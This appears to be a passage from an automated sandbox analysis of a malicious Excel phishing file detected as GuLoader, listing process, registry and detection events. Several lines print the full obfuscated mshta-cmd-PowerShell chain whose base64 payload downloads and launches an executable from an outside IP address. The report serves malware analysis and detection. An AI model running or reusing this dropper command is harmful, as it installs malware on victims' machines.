Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.pdbhP source: powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.pdb source: powershell.exe, 00000007.00000002.426492015.0000000002DE3000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.pdbhP source: powershell.exe, 00000007.00000002.426492015.0000000002EEF000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .pdbptB source: powershell.exe, 00000007.00000002.429105773.000000001C2C7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.pdb source: powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp
Source: Thermo Fisher RFQ_TFS-1805.xls Initial sample: OLE indicators vbamacros = False
Source: Thermo Fisher RFQ_TFS-1805.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 0000000B.00000002.836188866.000000000492A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
PowerShell case anomaly found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Suspicious command line found
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAg